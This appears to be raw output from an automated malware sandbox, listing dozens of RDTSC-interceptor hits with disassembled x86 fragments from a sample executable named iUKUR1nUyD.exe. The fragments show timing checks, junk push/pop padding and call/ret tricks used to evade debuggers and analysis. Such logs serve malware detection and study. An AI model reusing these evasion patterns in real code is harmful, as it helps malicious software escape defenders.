Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95DB04 second address: 95DB12 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB570775C56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95DB12 second address: 95DB16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95DB16 second address: 95DB5E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 57F17874h 0x0000000e add dx, F700h 0x00000013 push 00000003h 0x00000015 mov edi, dword ptr [ebp+122D2901h] 0x0000001b push 00000000h 0x0000001d and edi, dword ptr [ebp+122D29ADh] 0x00000023 push 00000003h 0x00000025 mov dword ptr [ebp+122D2B08h], ebx 0x0000002b push 5F48894Eh 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 jmp 00007FB570775C5Eh 0x00000038 jnp 00007FB570775C56h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95DB5E second address: 95DBC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 60B776B2h 0x00000010 mov dword ptr [ebp+122D3089h], edx 0x00000016 lea ebx, dword ptr [ebp+124585F6h] 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007FB57088F9D8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 mov dx, bx 0x00000039 xchg eax, ebx 0x0000003a jnp 00007FB57088F9DEh 0x00000040 push eax 0x00000041 je 00007FB57088F9E4h 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95DBC6 second address: 95DBCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 97DEAA second address: 97DEB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 97E00E second address: 97E014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 97E014 second address: 97E02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB57088F9E2h 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 97E2DA second address: 97E2DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 97E2DE second address: 97E30B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB57088F9E8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 97ED3E second address: 97ED52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FB570775C5Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 97ED52 second address: 97ED7E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007FB57088F9E2h 0x00000014 pop edi 0x00000015 jbe 00007FB57088F9DAh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 972A27 second address: 972A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007FB570775C56h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 972A38 second address: 972A47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 972A47 second address: 972A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB570775C69h 0x0000000b popad 0x0000000c pushad 0x0000000d jl 00007FB570775C58h 0x00000013 push eax 0x00000014 pop eax 0x00000015 push edi 0x00000016 jp 00007FB570775C56h 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FB570775C5Ah 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 97F69D second address: 97F6A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 97FA66 second address: 97FA6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 984ABD second address: 984AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98507B second address: 985081 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 985081 second address: 9850D2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB57088F9DCh 0x00000008 jbe 00007FB57088F9D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jng 00007FB57088F9E0h 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a jnl 00007FB57088F9D6h 0x00000020 popad 0x00000021 mov eax, dword ptr [esp+04h] 0x00000025 push edx 0x00000026 jmp 00007FB57088F9E6h 0x0000002b pop edx 0x0000002c mov eax, dword ptr [eax] 0x0000002e jmp 00007FB57088F9DAh 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 pushad 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9850D2 second address: 9850DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9851E4 second address: 9851E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9851E8 second address: 9851EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 985326 second address: 98532E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98532E second address: 985332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98BC2C second address: 98BC64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB57088F9E8h 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98F5C2 second address: 98F5C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98F5C6 second address: 98F5FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jmp 00007FB57088F9E3h 0x00000014 jo 00007FB57088F9D8h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98F5FF second address: 98F603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98F603 second address: 98F607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98F607 second address: 98F621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jmp 00007FB570775C5Bh 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98F621 second address: 98F627 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98FAD7 second address: 98FADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98FADB second address: 98FADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98FC57 second address: 98FC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9901C9 second address: 9901CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9901CD second address: 9901EE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB570775C56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jne 00007FB570775C56h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 popad 0x00000015 mov dword ptr [esp], ebx 0x00000018 mov di, dx 0x0000001b push eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 990462 second address: 990466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99067C second address: 990681 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 990681 second address: 99069D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 pushad 0x00000009 or bx, 25EBh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 add dh, FFFFFF8Eh 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99069D second address: 9906A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9906A4 second address: 9906AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 995B8D second address: 995B9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB570775C5Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 997B97 second address: 997BAE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB57088F9DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 999EE5 second address: 999EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 997BAE second address: 997BB8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB57088F9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9990FC second address: 999101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 999C14 second address: 999C1A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 999C1A second address: 999C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 999C20 second address: 999C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99E0A0 second address: 99E0A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99E0A6 second address: 99E0AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99E0AA second address: 99E121 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FB570775C58h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov di, 707Bh 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007FB570775C58h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 0000001Ch 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 movsx ebx, di 0x00000046 push 00000000h 0x00000048 mov di, 8CA0h 0x0000004c mov bx, dx 0x0000004f xchg eax, esi 0x00000050 jmp 00007FB570775C62h 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push esi 0x0000005b pop esi 0x0000005c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99E121 second address: 99E127 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A1231 second address: 9A1235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A1235 second address: 9A125F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E4h 0x00000007 je 00007FB57088F9D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007FB57088F9D6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A125F second address: 9A1263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99E230 second address: 99E23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FB57088F9D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99F2D7 second address: 99F2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A1263 second address: 9A126B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99E23D second address: 99E251 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB570775C5Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99F2DB second address: 99F2E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99E251 second address: 99E257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 94BDA2 second address: 94BDC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FB57088F9D6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jno 00007FB57088F9DCh 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 99E257 second address: 99E25B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A195C second address: 9A196F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB57088F9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A196F second address: 9A1974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A1974 second address: 9A197F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FB57088F9D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A2840 second address: 9A2844 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A2844 second address: 9A28A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FB57088F9D8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 jnl 00007FB57088F9EDh 0x0000002e push 00000000h 0x00000030 movzx ebx, di 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 pop edi 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A28A1 second address: 9A28A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A384A second address: 9A385F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB57088F9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d js 00007FB57088F9D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A2AB1 second address: 9A2AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A385F second address: 9A3868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A2AB7 second address: 9A2ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A3868 second address: 9A38D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FB57088F9D8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov edi, dword ptr [ebp+122D28E1h] 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007FB57088F9D8h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 push 00000000h 0x00000049 mov edi, dword ptr [ebp+122D28C9h] 0x0000004f xchg eax, esi 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A2ABC second address: 9A2AC6 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB570775C5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A38D4 second address: 9A38D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A38D8 second address: 9A38DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A38DE second address: 9A38FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB57088F9E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A4996 second address: 9A49A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A3AEF second address: 9A3B19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FB57088F9D6h 0x00000009 jns 00007FB57088F9D6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 jmp 00007FB57088F9E3h 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A7072 second address: 9A7078 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A4B01 second address: 9A4B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
